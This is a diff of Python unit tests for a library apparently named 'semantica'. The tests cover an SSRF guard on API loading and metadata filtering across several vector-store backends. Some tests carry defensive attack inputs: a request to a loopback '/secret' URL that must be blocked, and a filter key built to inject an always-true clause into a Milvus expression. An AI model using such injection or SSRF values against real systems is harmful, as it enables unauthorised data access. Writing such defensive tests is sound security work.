graph.add_node(f"n{i}", node_type="entity", content=f"node {i}")
|
||||
session = GraphSession(graph)
|
||||
if session.link_predictor is None:
|
||||
pytest.skip("LinkPredictor not available; KG extras not installed.")
|
||||
|
||||
monkeypatch.setattr(enrich_module, "_LINK_PREDICTION_MAX_NODES", 2)
|
||||
|
||||
app = create_app(session=session)
|
||||
with TestClient(app) as client:
|
||||
response = client.post("/api/enrich/links", json={"node_id": "n0"})
|
||||
assert response.status_code == 413
|
||||
assert "nodes" in response.json()["detail"].lower()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
pytest.main([__file__, "-v"])
|
||||
@@ -147,11 +147,11 @@ def test_load_from_database_import_error(seed_manager):
|
||||
seed_manager.load_from_database("sqlite:///:memory:", query="SELECT 1")
|
||||
assert "Database ingestion module not available" in str(excinfo.value)
|
||||
|
||||
@patch("requests.get")
|
||||
def test_load_from_api(mock_get, seed_manager):
|
||||
@patch("semantica.seed.seed_manager.request_with_ssrf_guard")
|
||||
def test_load_from_api(mock_guard, seed_manager):
|
||||
mock_response = MagicMock()
|
||||
mock_response.json.return_value = {"results": [{"id": 1, "name": "Alice"}]}
|
||||
mock_get.return_value = mock_response
|
||||
mock_guard.return_value = mock_response
|
||||
|
||||
records = seed_manager.load_from_api(
|
||||
api_url="http://api.example.com",
|
||||
@@ -162,7 +162,31 @@ def test_load_from_api(mock_get, seed_manager):
|
||||
assert len(records) == 1
|
||||
assert records[0]["id"] == 1
|
||||
assert records[0]["entity_type"] == "User"
|
||||
mock_get.assert_called_once()
|
||||
mock_guard.assert_called_once()
|
||||
|
||||
def test_load_from_api_blocks_private_by_default(seed_manager):
|
||||
with pytest.raises(ProcessingError) as excinfo:
|
||||
seed_manager.load_from_api(api_url="http://127.0.0.1:8000/secret")
|
||||
assert "blocked" in str(excinfo.value).lower() or "not allowed" in str(excinfo.value).lower()
|
||||
|
||||
@patch("semantica.seed.seed_manager.request_with_ssrf_guard")
|
||||
def test_load_from_api_allows_private_when_configured(mock_guard, seed_manager):
|
||||
mock_response = MagicMock()
|
||||
mock_response.json.return_value = {"results": [{"id": 1, "name": "Alice"}]}
|
||||
mock_guard.return_value = mock_response
|
||||
|
||||
manager = SeedDataManager(config={"allow_private_ips": True})
|
||||
records = manager.load_from_api(
|
||||
api_url="http://127.0.0.1:8000",
|
||||
endpoint="users",
|
||||
entity_type="User"
|
||||
)
|
||||
|
||||
assert len(records) == 1
|
||||
mock_guard.assert_called_once()
|
||||
# The opt-in flag must reach the guard
|
||||
call_kwargs = mock_guard.call_args[1]
|
||||
assert call_kwargs["allow_private_ips"] is True
|
||||
|
||||
def test_load_source(seed_manager, temp_data_dir):
|
||||
json_file = temp_data_dir / "source.json"
|
||||
|
||||
@@ -0,0 +1,500 @@
|
||||
import unittest
|
||||
from unittest.mock import MagicMock, patch
|
||||
import numpy as np
|
||||
|
||||
from semantica.vector_store.faiss_store import FAISSStore
|
||||
from semantica.vector_store.qdrant_store import QdrantStore
|
||||
from semantica.vector_store.pinecone_store import PineconeStore
|
||||
from semantica.vector_store.milvus_store import MilvusStore
|
||||
from semantica.vector_store.pgvector_store import PgVectorStore
|
||||
from semantica.vector_store.weaviate_store import WeaviateStore
|
||||
from semantica.utils.exceptions import ProcessingError, ValidationError
|
||||
|
||||
|
||||
class TestBackendMetadataFiltering(unittest.TestCase):
|
||||
|
||||
def test_faiss_store_filter_by_metadata(self):
|
||||
store = FAISSStore(dimension=2)
|
||||
mock_index = MagicMock()
|
||||
mock_index.metadata = {
|
||||
"v1": {"category": "finance", "score": 10},
|
||||
"v2": {"category": "tech", "score": 20},
|
||||
}
|
||||
mock_index.get_vector.side_effect = lambda vid: np.array([1.0, 0.0]) if vid == "v1" else np.array([0.0, 1.0])
|
||||
store.index = mock_index
|
||||
|
||||
results = store.filter_by_metadata({"category": "finance"}, limit=10)
|
||||
self.assertEqual(len(results), 1)
|
||||
self.assertEqual(results[0]["id"], "v1")
|
||||
self.assertEqual(results[0]["metadata"], {"category": "finance", "score": 10})
|
||||
|
||||
@patch('semantica.vector_store.qdrant_store.FieldCondition', MagicMock())
|
||||
@patch('semantica.vector_store.qdrant_store.MatchValue', MagicMock())
|
||||
@patch('semantica.vector_store.qdrant_store.Filter', MagicMock())
|
||||
@patch('semantica.vector_store.qdrant_store.QDRANT_AVAILABLE', True)
|
||||
def test_qdrant_store_filter_by_metadata(self):
|
||||
store = QdrantStore()
|
||||
mock_collection = MagicMock()
|
||||
mock_collection.collection_name = "test_coll"
|
||||
store.collection = mock_collection
|
||||
mock_client = MagicMock()
|
||||
rec = MagicMock()
|
||||
rec.id = "q1"
|
||||
rec.payload = {"env": "prod"}
|
||||
rec.vector = [0.1, 0.2]
|
||||
mock_client.scroll.return_value = ([rec], None)
|
||||
store.client = mock_client
|
||||
|
||||
results = store.filter_by_metadata({"env": "prod"}, limit=5)
|
||||
self.assertEqual(len(results), 1)
|
||||
self.assertEqual(results[0]["id"], "q1")
|
||||
self.assertEqual(results[0]["metadata"], {"env": "prod"})
|
||||
mock_client.scroll.assert_called_once()
|
||||
|
||||
@patch('semantica.vector_store.qdrant_store.Range', MagicMock())
|
||||
@patch('semantica.vector_store.qdrant_store.FieldCondition', MagicMock())
|
||||
@patch('semantica.vector_store.qdrant_store.Filter', MagicMock())
|
||||
@patch('semantica.vector_store.qdrant_store.QDRANT_AVAILABLE', True)
|
||||
def test_qdrant_store_filter_by_metadata_range(self):
|
||||
"""Range filters must construct Range objects and not raise NameError."""
|
||||
store = QdrantStore()
|
||||
mock_collection = MagicMock()
|
||||
mock_collection.collection_name = "test_coll"
|
||||
store.collection = mock_collection
|
||||
mock_client = MagicMock()
|
||||
rec = MagicMock()
|
||||
rec.id = "r1"
|
||||
rec.payload = {"score": 8}
|
||||
rec.vector = [0.3, 0.4]
|
||||
mock_client.scroll.return_value = ([rec], None)
|
||||
store.client = mock_client
|
||||
|
||||
# min-only range
|
||||
results = store.filter_by_metadata({"score": {"min": 5}}, limit=10)
|
||||
self.assertEqual(len(results), 1)
|
||||
self.assertEqual(results[0]["id"], "r1")
|
||||
mock_client.scroll.assert_called()
|
||||
|
||||
# Verify Range was actually called to build the condition (not skipped)
|
||||
import semantica.vector_store.qdrant_store as qs_mod
|
||||
qs_mod.Range.assert_called()
|
||||
|
||||
@patch('semantica.vector_store.qdrant_store.Range', MagicMock())
|
||||
@patch('semantica.vector_store.qdrant_store.FieldCondition', MagicMock())
|
||||
@patch('semantica.vector_store.qdrant_store.Filter', MagicMock())
|
||||
@patch('semantica.vector_store.qdrant_store.QDRANT_AVAILABLE', True)
|
||||
def test_qdrant_store_filter_by_metadata_range_min_and_max(self):
|
||||
"""Range filters with both min and max must construct Range with both gte and lte."""
|
||||
store = QdrantStore()
|
||||
mock_collection = MagicMock()
|
||||
mock_collection.collection_name = "test_coll"
|
||||
store.collection = mock_collection
|
||||
mock_client = MagicMock()
|
||||
mock_client.scroll.return_value = ([], None)
|
||||
store.client = mock_client
|
||||
|
||||
store.filter_by_metadata({"score": {"min": 5, "max": 10}}, limit=10)
|
||||
|
||||
import semantica.vector_store.qdrant_store as qs_mod
|
||||
# Range must have been called with gte and lte
|
||||
qs_mod.Range.assert_called_with(gte=5, lte=10)
|
||||
|
||||
@patch('semantica.vector_store.qdrant_store.MatchAny', MagicMock())
|
||||
@patch('semantica.vector_store.qdrant_store.FieldCondition', MagicMock())
|
||||
@patch('semantica.vector_store.qdrant_store.Filter', MagicMock())
|
||||
@patch('semantica.vector_store.qdrant_store.QDRANT_AVAILABLE', True)
|
||||
def test_qdrant_store_filter_by_metadata_list(self):
|
||||
"""List filters must construct MatchAny objects and not raise NameError."""
|
||||
store = QdrantStore()
|
||||
mock_collection = MagicMock()
|
||||
mock_collection.collection_name = "test_coll"
|
||||
store.collection = mock_collection
|
||||
mock_client = MagicMock()
|
||||
rec = MagicMock()
|
||||
rec.id = "l1"
|
||||
rec.payload = {"tags": "python"}
|
||||
rec.vector = [0.5, 0.6]
|
||||
mock_client.scroll.return_value = ([rec], None)
|
||||
store.client = mock_client
|
||||
|
||||
results = store.filter_by_metadata({"tags": ["python", "ml"]}, limit=10)
|
||||
self.assertEqual(len(results), 1)
|
||||
self.assertEqual(results[0]["id"], "l1")
|
||||
mock_client.scroll.assert_called()
|
||||
|
||||
# Verify MatchAny was actually called with the filter list
|
||||
import semantica.vector_store.qdrant_store as qs_mod
|
||||
qs_mod.MatchAny.assert_called_with(any=["python", "ml"])
|
||||
|
||||
@patch('semantica.vector_store.pinecone_store.PINECONE_AVAILABLE', True)
|
||||
def test_pinecone_store_filter_by_metadata(self):
|
||||
store = PineconeStore(dimension=2)
|
||||
mock_index_wrapper = MagicMock()
|
||||
mock_inner_index = MagicMock()
|
||||
|
||||
match_obj = MagicMock()
|
||||
match_obj.id = "p1"
|
||||
match_obj.metadata = {"status": "active"}
|
||||
match_obj.values = [0.1, 0.9]
|
||||
|
||||
response = MagicMock()
|
||||
response.matches = [match_obj]
|
||||
mock_inner_index.query.return_value = response
|
||||
mock_index_wrapper.index = mock_inner_index
|
||||
store.index = mock_index_wrapper
|
||||
|
||||
results = store.filter_by_metadata({"status": "active"}, limit=5)
|
||||
self.assertEqual(len(results), 1)
|
||||
self.assertEqual(results[0]["id"], "p1")
|
||||
self.assertEqual(results[0]["metadata"], {"status": "active"})
|
||||
# Assert query vector dimension matches store.dimension (2)
|
||||
mock_inner_index.query.assert_called_once()
|
||||
query_kw = mock_inner_index.query.call_args[1]
|
||||
self.assertEqual(len(query_kw["vector"]), 2)
|
||||
|
||||
@patch('semantica.vector_store.pinecone_store.PINECONE_AVAILABLE', True)
|
||||
def test_pinecone_store_filter_by_metadata_unknown_dimension_raises(self):
|
||||
store = PineconeStore()
|
||||
mock_index_wrapper = MagicMock()
|
||||
mock_index_wrapper.describe_index_stats = MagicMock(return_value={})
|
||||
store.index = mock_index_wrapper
|
||||
with self.assertRaises(ProcessingError):
|
||||
store.filter_by_metadata({"status": "active"}, limit=5)
|
||||
|
||||
@patch('semantica.vector_store.milvus_store.MILVUS_AVAILABLE', True)
|
||||
def test_milvus_store_filter_by_metadata(self):
|
||||
store = MilvusStore()
|
||||
mock_coll_wrapper = MagicMock()
|
||||
mock_inner_coll = MagicMock()
|
||||
mock_inner_coll.query.return_value = [
|
||||
{"id": "m1", "vector": [0.3, 0.4], "metadata": {"lang": "py"}}
|
||||
]
|
||||
mock_coll_wrapper.collection = mock_inner_coll
|
||||
store.collection = mock_coll_wrapper
|
||||
|
||||
results = store.filter_by_metadata({"lang": "py"}, limit=5)
|
||||
self.assertEqual(len(results), 1)
|
||||
self.assertEqual(results[0]["id"], "m1")
|
||||
self.assertEqual(results[0]["metadata"], {"lang": "py"})
|
||||
|
||||
@patch('semantica.vector_store.milvus_store.MILVUS_AVAILABLE', True)
|
||||
def test_milvus_store_filter_by_metadata_escaping(self):
|
||||
store = MilvusStore()
|
||||
mock_coll_wrapper = MagicMock()
|
||||
mock_inner_coll = MagicMock()
|
||||
mock_inner_coll.query.return_value = []
|
||||
mock_coll_wrapper.collection = mock_inner_coll
|
||||
store.collection = mock_coll_wrapper
|
||||
|
||||
store.filter_by_metadata(
|
||||
{
|
||||
"title": 'John "Jack" Doe',
|
||||
"active": True,
|
||||
"tags": ['python', 'c++ "v"'],
|
||||
},
|
||||
limit=5,
|
||||
)
|
||||
|
||||
mock_inner_coll.query.assert_called_once()
|
||||
expr = mock_inner_coll.query.call_args[1]["expr"]
|
||||
self.assertIn('metadata["title"] == "John \\"Jack\\" Doe"', expr)
|
||||
self.assertIn('metadata["active"] == true', expr)
|
||||
self.assertIn('metadata["tags"] in ["python", "c++ \\"v\\""]', expr)
|
||||
|
||||
@patch('semantica.vector_store.milvus_store.MILVUS_AVAILABLE', True)
|
||||
def test_milvus_store_filter_by_metadata_invalid_key_raises(self):
|
||||
store = MilvusStore()
|
||||
mock_coll_wrapper = MagicMock()
|
||||
store.collection = mock_coll_wrapper
|
||||
|
||||
with self.assertRaises(ValidationError):
|
||||
store.filter_by_metadata({'dept" || 1==1 || "': "val"}, limit=5)
|
||||
|
||||
@patch('semantica.vector_store.pgvector_store.PSYCOPG3_AVAILABLE', True)
|
||||
@patch('semantica.vector_store.pgvector_store.psycopg_sql')
|
||||
def test_pgvector_store_filter_by_metadata(self, mock_sql):
|
||||
store = object.__new__(PgVectorStore)
|
||||
store.table_name = "test_vectors"
|
||||
store._is_safe_identifier = lambda k: True
|
||||
|
||||
mock_conn = MagicMock()
|
||||
mock_cur = MagicMock()
|
||||
mock_cur.fetchall.return_value = [
|
||||
("pg1", [0.1, 0.2], {"org": "acme"})
|
||||
]
|
||||
mock_conn.cursor.return_value = mock_cur
|
||||
|
||||
with patch.object(PgVectorStore, '_get_connection', return_value=MagicMock(__enter__=MagicMock(return_value=mock_conn), __exit__=MagicMock())):
|
||||
results = store.filter_by_metadata({"org": "acme"}, limit=10)
|
||||
self.assertEqual(len(results), 1)
|
||||
self.assertEqual(results[0]["id"], "pg1")
|
||||
self.assertEqual(results[0]["metadata"], {"org": "acme"})
|
||||
|
||||
@patch('semantica.vector_store.pgvector_store.PSYCOPG3_AVAILABLE', True)
|
||||
@patch('semantica.vector_store.pgvector_store.psycopg_sql')
|
||||
def test_pgvector_store_filter_by_metadata_bool_true(self, mock_sql):
|
||||
"""Boolean True must become the string 'true' (lowercase) in the SQL parameter.
|
||||
|
||||
PostgreSQL JSONB ->> returns 'true' for a JSON boolean true.
|
||||
str(True) == 'True' would never match; this test guards against regression.
|
||||
"""
|
||||
store = object.__new__(PgVectorStore)
|
||||
store.table_name = "test_vectors"
|
||||
store._is_safe_identifier = lambda k: True
|
||||
|
||||
mock_conn = MagicMock()
|
||||
mock_cur = MagicMock()
|
||||
mock_cur.fetchall.return_value = [
|
||||
("pg2", [0.3, 0.4], {"active": True})
|
||||
]
|
||||
mock_conn.cursor.return_value = mock_cur
|
||||
|
||||
with patch.object(
|
||||
PgVectorStore,
|
||||
'_get_connection',
|
||||
return_value=MagicMock(
|
||||
__enter__=MagicMock(return_value=mock_conn),
|
||||
__exit__=MagicMock(),
|
||||
),
|
||||
):
|
||||
results = store.filter_by_metadata({"active": True}, limit=10)
|
||||
|
||||
# Result is returned correctly
|
||||
self.assertEqual(len(results), 1)
|
||||
self.assertEqual(results[0]["id"], "pg2")
|
||||
|
||||
# The critical assertion: 'true' (not 'True') was passed to execute()
|
||||
execute_call_args = mock_cur.execute.call_args
|
||||
self.assertIsNotNone(execute_call_args, "cursor.execute was not called")
|
||||
params_passed = execute_call_args[0][1] # positional arg 1 is the params list/tuple
|
||||
self.assertIn('true', params_passed,
|
||||
"Expected lowercase 'true' in SQL params, got: {}".format(params_passed))
|
||||
self.assertNotIn('True', params_passed,
|
||||
"str(True)='True' must NOT appear in SQL params")
|
||||
|
||||
@patch('semantica.vector_store.pgvector_store.PSYCOPG3_AVAILABLE', True)
|
||||
@patch('semantica.vector_store.pgvector_store.psycopg_sql')
|
||||
def test_pgvector_store_filter_by_metadata_bool_false(self, mock_sql):
|
||||
"""Boolean False must become the string 'false' (lowercase) in the SQL parameter.
|
||||
|
||||
PostgreSQL JSONB ->> returns 'false' for a JSON boolean false.
|
||||
str(False) == 'False' would never match; this test guards against regression.
|
||||
"""
|
||||
store = object.__new__(PgVectorStore)
|
||||
store.table_name = "test_vectors"
|
||||
store._is_safe_identifier = lambda k: True
|
||||
|
||||
mock_conn = MagicMock()
|
||||
mock_cur = MagicMock()
|
||||
mock_cur.fetchall.return_value = [
|
||||
("pg3", [0.5, 0.6], {"active": False})
|
||||
]
|
||||
mock_conn.cursor.return_value = mock_cur
|
||||
|
||||
with patch.object(
|
||||
PgVectorStore,
|
||||
'_get_connection',
|
||||
return_value=MagicMock(
|
||||
__enter__=MagicMock(return_value=mock_conn),
|
||||
__exit__=MagicMock(),
|
||||
),
|
||||
):
|
||||
results = store.filter_by_metadata({"active": False}, limit=10)
|
||||
|
||||
# Result is returned correctly
|
||||
self.assertEqual(len(results), 1)
|
||||
self.assertEqual(results[0]["id"], "pg3")
|
||||
|
||||
# The critical assertion: 'false' (not 'False') was passed to execute()
|
||||
execute_call_args = mock_cur.execute.call_args
|
||||
self.assertIsNotNone(execute_call_args, "cursor.execute was not called")
|
||||
params_passed = execute_call_args[0][1] # positional arg 1 is the params list/tuple
|
||||
self.assertIn('false', params_passed,
|
||||
"Expected lowercase 'false' in SQL params, got: {}".format(params_passed))
|
||||
self.assertNotIn('False', params_passed,
|
||||
"str(False)='False' must NOT appear in SQL params")
|
||||
|
||||
@patch('semantica.vector_store.pgvector_store.PSYCOPG3_AVAILABLE', True)
|
||||
@patch('semantica.vector_store.pgvector_store.psycopg_sql')
|
||||
def test_pgvector_store_filter_by_metadata_bool_list(self, mock_sql):
|
||||
"""List-valued boolean filters must use lowercase 'true'/'false', not
|
||||
str(True)/str(False), matching the scalar branch's handling.
|
||||
"""
|
||||
store = object.__new__(PgVectorStore)
|
||||
store.table_name = "test_vectors"
|
||||
store._is_safe_identifier = lambda k: True
|
||||
|
||||
mock_conn = MagicMock()
|
||||
mock_cur = MagicMock()
|
||||
mock_cur.fetchall.return_value = [
|
||||
("pg4", [0.7, 0.8], {"active": True})
|
||||
]
|
||||
mock_conn.cursor.return_value = mock_cur
|
||||
|
||||
with patch.object(
|
||||
PgVectorStore,
|
||||
'_get_connection',
|
||||
return_value=MagicMock(
|
||||
__enter__=MagicMock(return_value=mock_conn),
|
||||
__exit__=MagicMock(),
|
||||
),
|
||||
):
|
||||
results = store.filter_by_metadata({"active": [True, False]}, limit=10)
|
||||
|
||||
self.assertEqual(len(results), 1)
|
||||
execute_call_args = mock_cur.execute.call_args
|
||||
params_passed = execute_call_args[0][1]
|
||||
flat_params = [v for p in params_passed for v in (p if isinstance(p, list) else [p])]
|
||||
self.assertIn('true', flat_params)
|
||||
self.assertIn('false', flat_params)
|
||||
self.assertNotIn('True', flat_params)
|
||||
self.assertNotIn('False', flat_params)
|
||||
|
||||
def test_faiss_store_filter_by_metadata_limit_zero(self):
|
||||
"""limit=0 must return no results, not the first match."""
|
||||
store = FAISSStore(dimension=2)
|
||||
mock_index = MagicMock()
|
||||
mock_index.metadata = {
|
||||
"v1": {"category": "finance", "score": 10},
|
||||
}
|
||||
mock_index.get_vector.return_value = np.array([1.0, 0.0])
|
||||
store.index = mock_index
|
||||
|
||||
results = store.filter_by_metadata({"category": "finance"}, limit=0)
|
||||
self.assertEqual(results, [])
|
||||
|
||||
@patch('semantica.vector_store.milvus_store.MILVUS_AVAILABLE', True)
|
||||
def test_milvus_store_filter_by_metadata_nan_raises(self):
|
||||
"""NaN/Infinity are not valid Milvus expression literals and must be
|
||||
rejected up front rather than silently producing an invalid expression
|
||||
that gets swallowed by the broad except around the query() call.
|
||||
"""
|
||||
store = MilvusStore()
|
||||
mock_coll_wrapper = MagicMock()
|
||||
store.collection = mock_coll_wrapper
|
||||
|
||||
with self.assertRaises(ValidationError):
|
||||
store.filter_by_metadata({"score": {"min": float("nan")}}, limit=5)
|
||||
|
||||
@patch('semantica.vector_store.pinecone_store.PINECONE_AVAILABLE', True)
|
||||
def test_pinecone_store_get_index_sets_dimension_from_stats(self):
|
||||
"""get_index() must read stats from the returned PineconeIndex wrapper
|
||||
(self.index), not from a nonexistent method on the store itself.
|
||||
"""
|
||||
store = PineconeStore()
|
||||
mock_client = MagicMock()
|
||||
mock_pinecone_index = MagicMock()
|
||||
mock_client.get_index.return_value = mock_pinecone_index
|
||||
store.client = mock_client
|
||||
|
||||
with patch(
|
||||
'semantica.vector_store.pinecone_store.PineconeIndex'
|
||||
) as mock_index_cls:
|
||||
mock_index_instance = MagicMock()
|
||||
mock_index_instance.describe_index_stats.return_value = {"dimension": 42}
|
||||
mock_index_cls.return_value = mock_index_instance
|
||||
|
||||
store.get_index("my-index")
|
||||
|
||||
self.assertEqual(store.dimension, 42)
|
||||
|
||||
def test_weaviate_store_filter_by_metadata(self):
|
||||
store = WeaviateStore()
|
||||
mock_coll = MagicMock()
|
||||
obj1 = MagicMock()
|
||||
obj1.uuid = "w-uuid-1"
|
||||
obj1.properties = {"dept": "eng"}
|
||||
obj1.vector = [0.5, 0.5]
|
||||
objs = MagicMock()
|
||||
objs.objects = [obj1]
|
||||
mock_coll.query.fetch_objects.return_value = objs
|
||||
store.collection = mock_coll
|
||||
|
||||
with patch('semantica.vector_store.weaviate_store.WEAVIATE_AVAILABLE', True):
|
||||
results = store.filter_by_metadata({"dept": "eng"}, limit=5)
|
||||
self.assertEqual(len(results), 1)
|
||||
self.assertEqual(results[0]["id"], "w-uuid-1")
|
||||
self.assertEqual(results[0]["metadata"], {"dept": "eng"})
|
||||
|
||||
def test_weaviate_store_filter_by_metadata_pagination(self):
|
||||
"""Test that WeaviateStore.filter_by_metadata paginates beyond page 1 to find matching items."""
|
||||
store = WeaviateStore()
|
||||
mock_coll = MagicMock()
|
||||
|
||||
# Batch 1: 100 non-matching objects
|
||||
batch1_objs = []
|
||||
for i in range(100):
|
||||
obj = MagicMock()
|
||||
obj.uuid = f"batch1-uuid-{i}"
|
||||
obj.properties = {"dept": "hr"}
|
||||
obj.vector = [0.1, 0.1]
|
||||
batch1_objs.append(obj)
|
||||
|
||||
res1 = MagicMock()
|
||||
res1.objects = batch1_objs
|
||||
|
||||
# Batch 2: 2 matching objects
|
||||
obj_match1 = MagicMock()
|
||||
obj_match1.uuid = "match-uuid-1"
|
||||
obj_match1.properties = {"dept": "eng"}
|
||||
obj_match1.vector = [0.5, 0.5]
|
||||
|
||||
obj_match2 = MagicMock()
|
||||
obj_match2.uuid = "match-uuid-2"
|
||||
obj_match2.properties = {"dept": "eng"}
|
||||
obj_match2.vector = [0.6, 0.6]
|
||||
|
||||
res2 = MagicMock()
|
||||
res2.objects = [obj_match1, obj_match2]
|
||||
|
||||
def side_effect(**kwargs):
|
||||
if kwargs.get("after") == "batch1-uuid-99":
|
||||
return res2
|
||||
return res1
|
||||
|
||||
mock_coll.query.fetch_objects.side_effect = side_effect
|
||||
store.collection = mock_coll
|
||||
|
||||
with patch('semantica.vector_store.weaviate_store.WEAVIATE_AVAILABLE', True):
|
||||
results = store.filter_by_metadata({"dept": "eng"}, limit=5)
|
||||
self.assertEqual(len(results), 2)
|
||||
self.assertEqual(results[0]["id"], "match-uuid-1")
|
||||
self.assertEqual(results[1]["id"], "match-uuid-2")
|
||||
|
||||
def test_weaviate_store_filter_by_metadata_native_filter(self):
|
||||
"""Test building native Weaviate filters for exact, range, and list criteria."""
|
||||
store = WeaviateStore()
|
||||
mock_filter_cls = MagicMock()
|
||||
mock_filter_prop = MagicMock()
|
||||
mock_filter_cls.by_property.return_value = mock_filter_prop
|
||||
|
||||
mock_module = MagicMock()
|
||||
mock_module.classes.query.Filter = mock_filter_cls
|
||||
|
||||
with patch('semantica.vector_store.weaviate_store.WEAVIATE_AVAILABLE', True), \
|
||||
patch('semantica.vector_store.weaviate_store.weaviate', mock_module):
|
||||
|
||||
# Test exact match
|
||||
res = store._build_weaviate_filter({"dept": "eng"})
|
||||
mock_filter_cls.by_property.assert_called_with("dept")
|
||||
mock_filter_prop.equal.assert_called_with("eng")
|
||||
|
||||
# Test range filter
|
||||
mock_filter_cls.reset_mock()
|
||||
mock_filter_prop.reset_mock()
|
||||
res = store._build_weaviate_filter({"age": {"min": 20, "max": 50}})
|
||||
mock_filter_cls.by_property.assert_called_with("age")
|
||||
mock_filter_prop.greater_or_equal.assert_called_with(20)
|
||||
mock_filter_prop.less_or_equal.assert_called_with(50)
|
||||
|
||||
# Test list filter
|
||||
mock_filter_cls.reset_mock()
|
||||
mock_filter_prop.reset_mock()
|
||||
res = store._build_weaviate_filter({"tags": ["a", "b"]})
|
||||
mock_filter_cls.by_property.assert_called_with("tags")
|
||||
mock_filter_prop.contains_any.assert_called_with(["a", "b"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
||||
@@ -773,19 +773,21 @@ class TestBuildDecisionContextFAISSBackend:
|
||||
|
||||
class TestFilterByMetadataBackendBehavior:
|
||||
"""
|
||||
Requirement (issue #848 follow-up): verify the chosen behavior of
|
||||
Requirement (issue #848, superseded by #857): verify the behavior of
|
||||
_filter_by_metadata when a non-inmemory backend is active.
|
||||
|
||||
The decision: raise NotImplementedError (matching get_vector / get_metadata
|
||||
from #843) rather than silently returning [].
|
||||
#848's original decision was to raise NotImplementedError (matching
|
||||
get_vector / get_metadata from #843) rather than silently return [],
|
||||
because at the time zero backend wrappers implemented
|
||||
filter_by_metadata(filters, limit).
|
||||
|
||||
Rationale documented in the production comment:
|
||||
- Zero backend wrappers implement filter_by_metadata(filters, limit).
|
||||
- The only codebase hit (HybridSearch.filter_by_metadata) has a completely
|
||||
different signature and is never stored in _backend_store.
|
||||
- Returning [] would make filter_decisions(query=None, category="loan")
|
||||
report "zero matches" when the truth is "capability not available" —
|
||||
indistinguishable from a real empty result and therefore wrong.
|
||||
#857 gave every persistent backend (FAISS, Qdrant, Pinecone, Milvus,
|
||||
PgVector, SQLiteVec, Weaviate) a real filter_by_metadata() implementation,
|
||||
so FAISS-backed filter_decisions(query=None, ...) now returns actual
|
||||
filtered results instead of raising. The NotImplementedError path itself
|
||||
is still correct and still covered (see
|
||||
test_filter_by_metadata_backend_not_implemented in test_vector_store.py)
|
||||
for a backend that genuinely lacks the method.
|
||||
"""
|
||||
|
||||
def _make_faiss_store(self):
|
||||
@@ -809,34 +811,26 @@ class TestFilterByMetadataBackendBehavior:
|
||||
)
|
||||
return vs, ids
|
||||
|
||||
# ── FAISS backend: NotImplementedError, not AttributeError, not [] ── #
|
||||
# ── FAISS backend: real results, not AttributeError, not [] ── #
|
||||
|
||||
def test_filter_by_metadata_faiss_raises_not_implemented(self):
|
||||
def test_filter_by_metadata_faiss_returns_real_results(self):
|
||||
"""
|
||||
filter_decisions(query=None, category='loan') on a FAISS-backed store
|
||||
must raise NotImplementedError, not AttributeError (old crash) and not
|
||||
silently return [] (the wrong silent-failure fix).
|
||||
|
||||
This test pins the chosen behavior: explicit NotImplementedError matching
|
||||
the get_vector/get_metadata precedent set by issue #843.
|
||||
must return the actual matching decisions, not raise AttributeError
|
||||
(old crash) and not silently return [] (the old NotImplementedError
|
||||
stand-in from #848, superseded once #857 gave FAISSStore a real
|
||||
filter_by_metadata()).
|
||||
"""
|
||||
vs, _ids = self._make_faiss_store()
|
||||
|
||||
with pytest.raises(NotImplementedError) as exc_info:
|
||||
vs.filter_decisions(query=None, category="loan")
|
||||
results = vs.filter_decisions(query=None, category="loan")
|
||||
|
||||
# Message must name the backend and point to the correct alternative
|
||||
msg = str(exc_info.value)
|
||||
assert "FAISSStore" in msg, (
|
||||
f"Error message should name the backend class, got: {msg!r}"
|
||||
)
|
||||
assert "filter_decisions" in msg or "filter_by_metadata" in msg, (
|
||||
f"Error message should mention the failing method, got: {msg!r}"
|
||||
)
|
||||
assert "search_decisions" in msg, (
|
||||
f"Error message should suggest search_decisions() as the alternative, "
|
||||
f"got: {msg!r}"
|
||||
assert isinstance(results, list)
|
||||
assert len(results) == 2, (
|
||||
f"Expected 2 loan decisions, got {len(results)}: {results}"
|
||||
)
|
||||
for r in results:
|
||||
assert r["metadata"]["category"] == "loan"
|
||||
|
||||
def test_filter_by_metadata_faiss_not_attribute_error(self):
|
||||
"""
|
||||
|
||||
@@ -82,6 +82,7 @@ class TestPineconeStore(unittest.TestCase):
|
||||
self.assertIsInstance(store.search_engine, PineconeSearch)
|
||||
store.client.create_index.assert_called_once()
|
||||
|
||||
@patch('semantica.vector_store.pinecone_store.PINECONE_AVAILABLE', True)
|
||||
@patch('semantica.vector_store.pinecone_store.PineconeClientLib')
|
||||
def test_upsert_vectors(self, mock_pinecone_client):
|
||||
"""Test upserting vectors to Pinecone index."""
|
||||
@@ -105,6 +106,7 @@ class TestPineconeStore(unittest.TestCase):
|
||||
self.assertEqual(result["upserted_count"], 2)
|
||||
store.index.upsert_vectors.assert_called_once()
|
||||
|
||||
@patch('semantica.vector_store.pinecone_store.PINECONE_AVAILABLE', True)
|
||||
@patch('semantica.vector_store.pinecone_store.PineconeClientLib')
|
||||
def test_search_vectors(self, mock_pinecone_client):
|
||||
"""Test searching vectors in Pinecone index."""
|
||||
@@ -128,6 +130,7 @@ class TestPineconeStore(unittest.TestCase):
|
||||
self.assertEqual(results[0]["id"], "id1")
|
||||
store.search_engine.similarity_search.assert_called_once()
|
||||
|
||||
@patch('semantica.vector_store.pinecone_store.PINECONE_AVAILABLE', True)
|
||||
@patch('semantica.vector_store.pinecone_store.PineconeClientLib')
|
||||
def test_delete_vectors(self, mock_pinecone_client):
|
||||
"""Test deleting vectors from Pinecone index."""
|
||||
@@ -148,6 +151,7 @@ class TestPineconeStore(unittest.TestCase):
|
||||
# Fix: assert called without the empty dict
|
||||
store.index.delete_vectors.assert_called_once_with(["id1", "id2"], "")
|
||||
|
||||
@patch('semantica.vector_store.pinecone_store.PINECONE_AVAILABLE', True)
|
||||
@patch('semantica.vector_store.pinecone_store.PineconeClientLib')
|
||||
def test_fetch_vectors(self, mock_pinecone_client):
|
||||
"""Test fetching vectors from Pinecone index."""
|
||||
|
||||
@@ -413,3 +413,51 @@ class TestSQLiteVecStoreStats:
|
||||
|
||||
stats = store.get_stats()
|
||||
assert stats["vector_count"] == 4
|
||||
|
||||
|
||||
class TestSQLiteVecStoreFilterByMetadata:
|
||||
"""Test filter_by_metadata, including list-valued metadata handling."""
|
||||
|
||||
def test_filter_exact_match(self, store):
|
||||
vectors = [np.random.rand(128).astype(np.float32) for _ in range(2)]
|
||||
metadata = [{"category": "finance"}, {"category": "tech"}]
|
||||
